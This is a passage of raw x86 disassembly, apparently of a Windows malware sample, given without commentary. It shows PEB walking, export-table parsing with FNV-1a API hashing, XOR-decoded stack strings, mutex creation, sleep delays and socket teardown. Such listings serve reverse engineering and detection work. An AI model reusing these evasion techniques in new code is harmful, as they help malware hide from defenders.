lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x488fe5
cmp esi, 0xfaba0065
je 0x48900d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x488fd0
mov eax, dword [eax]
jmp 0x488fa1
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x4c]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x4890b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4890b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4890b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x489095
cmp esi, 0xfaba0065
je 0x4890bd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x489080
mov eax, dword [eax]
jmp 0x489050
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x3c]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x489159
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x489159
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x489152
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x489135
cmp esi, 0xfaba0065
je 0x48915d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x489120
mov eax, dword [eax]
jmp 0x4890f1
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x40]
add esi, edx
call fcn.0048e980
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x18], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x4891f9
cmp byte [0x564e43], 0
je 0x489666
cmp byte [esp + 0x27], 0
jne 0x489666
call fcn.0041e7a0
lea ecx, [esp + 0x878]
call fcn.00402ad0
lea ecx, [esp + 0x860]
call fcn.00402ad0
lea ecx, [esp + 0x848]
call fcn.00402ad0
lea ecx, [esp + 0xf24]
call fcn.00489ad0
lea ecx, [esp + 0xf1c]
call fcn.00489b30
lea ecx, [esp + 0x7b4]
call fcn.00402ad0
lea ecx, [esp + 0x8d0]
call fcn.00402ad0
lea ecx, [esp + 0x8b8]
call fcn.00402ad0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push str.gdry4645
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x564e43], 0
je 0x4898ba
cmp byte [esp + 0x27], 0
je 0x4898ba
xorps xmm0, xmm0
mov dword [esp + 0x18b], 0xc0d0c0dc
mov dword [esp + 0x18f], 0xd2dad9d8
xor ecx, ecx
movups xmmword [esp + 0x193], xmm0
mov dword [esp + 0x1a3], 0
mov word [esp + 0x1a7], 0
mov byte [esp + 0x1a9], 0
nop
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x18b], al
inc ecx
cmp ecx, 8
jb 0x489730
lea eax, [esp + 0x18b]
mov dword [0x565624], ecx
push eax
lea ecx, [esp + 0xbd4]
mov byte [esp + 0x197], 0
call fcn.00402b70
push 0x562b2c
lea ecx, [esp + 0xbd4]
call fcn.00402c10
mov edx, eax
lea ecx, [esp + 0x109c]
call fcn.00490a90
add esp, 4
mov ecx, eax
call fcn.00402c10
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [esp + 0x1098]
call fcn.00402ad0
lea ecx, [esp + 0xbd0]
call fcn.00402ad0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4899a8
push 0x7530
call ebx
xorps xmm0, xmm0
mov dword [esp + 0x16c], 0xf1ffe6e7
mov dword [esp + 0x170], 0xdad9d09d
xor ecx, ecx
movups xmmword [esp + 0x174], xmm0
mov dword [esp + 0x184], 0
mov word [esp + 0x188], 0
mov byte [esp + 0x18a], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [esp + ecx + 0x16c], al
inc ecx
cmp ecx, 8
jb 0x489810
lea eax, [esp + 0x16c]
mov dword [0x565624], ecx
push eax
lea ecx, [esp + 0xbec]
mov byte [esp + 0x178], 0
call fcn.00402b70
sub esp, 0x18
lea ecx, [esp + 0xc00]
mov esi, esp
call fcn.00402c10
push eax
mov ecx, esi
call fcn.00402b70
call fcn.004285a0
add esp, 0x18
lea ecx, [esp + 0xbe8]
call fcn.00402ad0
mov ecx, dword [0x565108]
mov eax, 0x2aaaaaab
sub ecx, dword [0x565104]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4898b3
nop
push 0x64
call ebx
mov ecx, dword [0x565108]
mov eax, 0x2aaaaaab
sub ecx, dword [0x565104]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x489890
mov byte [0x564e21], 1
push 0xbb8
call ebx
push 2
push dword [0x562abc]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x562abc]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp byte [0x564e43], 0
je 0x4899a8
cmp byte [esp + 0x27], 0
je 0x4899a8
push 0
push 0x43346416
call fcn.00408170
mov ecx, dword fs:[0x30]
add esp, 8
mov dword [esp + 0x6a0], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x14], esi
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
add eax, esi
mov dword [esp + 0x10], eax
cmp eax, esi
je 0x489979
mov edi, dword [eax + 0x18]
test edi, edi
je 0x489979
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x489972
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x489955
cmp esi, 0x2fa62ca8
je 0x48997d
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x489940
mov ecx, dword [ecx]
jmp 0x489916
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
push dword [esp + 0x6a0]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4898f3
lea ecx, [esp + 0x708]
call fcn.00402ad0
lea ecx, [esp + 0x900]
call fcn.00402ad0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10